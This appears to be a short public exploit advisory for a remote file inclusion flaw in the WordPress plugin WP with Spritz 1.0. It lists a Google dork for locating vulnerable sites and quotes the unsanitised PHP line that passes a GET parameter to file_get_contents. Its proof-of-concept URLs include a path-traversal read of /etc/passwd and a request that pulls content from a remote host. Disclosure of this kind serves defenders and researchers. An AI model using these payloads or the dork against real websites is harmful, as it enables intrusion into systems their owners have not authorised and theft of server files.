WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion

# Exploit Title: WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
# Date: 2018-04-25
# Exploit Author: Wadeek
# Software Link: https://downloads.wordpress.org/plugin/wp-with-spritz.zip
# Software Version: 1.0
# Google Dork: intitle:("Spritz Login Success") AND inurl:("wp-with-spritz/wp.spritz.login.success.html")
# Tested on: Apache2 with PHP 7 on Linux
# Category: webapps


1. Version Disclosure

/wp-content/plugins/wp-with-spritz/readme.txt

2. Source Code

if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);

3. Proof of Concept

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec